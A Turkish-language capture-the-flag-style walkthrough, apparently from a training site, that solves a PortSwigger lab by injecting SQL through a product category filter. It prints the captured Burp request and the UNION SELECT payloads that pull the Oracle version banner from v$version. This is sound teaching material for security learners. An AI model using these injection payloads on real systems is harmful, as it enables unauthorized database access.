> For the complete documentation index, see [llms.txt](https://emre-ermenek.gitbook.io/sqli-egitimi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://emre-ermenek.gitbook.io/sqli-egitimi/sql-injection-sqli-egitim-modulu-ve-portswigger/in-band-sql-injection/sql-injection-attack-querying-the-database-type-and-version-on-oracle-cozumu.md).

# SQL injection attack, querying the database type and version on Oracle Çözümü

Bu labın çözümünde, <https://portswigger.net/web-security/sql-injection/cheat-sheet> bu kaynaktan yardım alabilirsiniz.

Bize labın başında şu bilgileri vermiş:

Ürün kategorisi filtresinde SQL Injection zafiyeti var. UNION kullanarak başka SELECT atabilirsin. Lab’ı çözmek için veritabanı versiyon stringini getir.

Başlıkta da Oracle veritabanı olduğunu vermiş.

***

Sayfa aşağıdaki gibi:

<figure><img src="/files/UqxycdsanQ6NDowPp7HK" alt=""><figcaption></figcaption></figure>

Kategori filtresi arama kısmında koymuşlar, birine tıklayınca onla ilgili sonuçları döndürüyor. Şimdi burple kategoriye tıklayıp bu isteği yakalıyoruz ve repeater’a atıyoruz.

<figure><img src="/files/ZTSXtVQHgnx33S7ZeWO5" alt=""><figcaption></figcaption></figure>

Buradaki isteği aşağıya da kopyalıyorum oradan gidelim:

```bash
GET /filter?category=Accessories HTTP/1.1
Host: 0aab008004affab4804408e0006e00ca.web-security-academy.net
Cookie: session=XwxW2GSrYgc78Yrj4wo6ueHRLyqxLYWA
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:146.0) Gecko/20100101 Firefox/146.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: <https://0aab008004affab4804408e0006e00ca.web-security-academy.net/>
Sec-Gpc: 1
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
Connection: keep-alive
```

/filter?category=Accessories, buradaki Accessories yerine injection yapıcaz. Dediği gibi UNION ile injection yapalım.

ilk amacımız veritabanını çeken sorguyu UNION ile çalıştırmak olmalı:

`' UNION SELECT banner FROM v$version--`

gönderince 500 hatası aldık, hatırlayın önceki SELECT sorgusunda kaç sütün çekildiyse, UNION ile eklediğimiz SELECT sorgusu da aynı sayıda sütün çekmek zorunda. Bir tane daha null ekleyelim

`' UNION SELECT banner,null FROM v$version--`

bu sorguyu gönderdiğiniz gibi lab çözülmüş olarak işaretlenecek. Artık kategori seçince ürünlerin geldiği yerde veritabanı tipi ve versiyonu geldiğini göreceksiniz repeaterda.

<figure><img src="/files/lUeyRkFfc4PKRlJHbIFj" alt=""><figcaption></figcaption></figure>
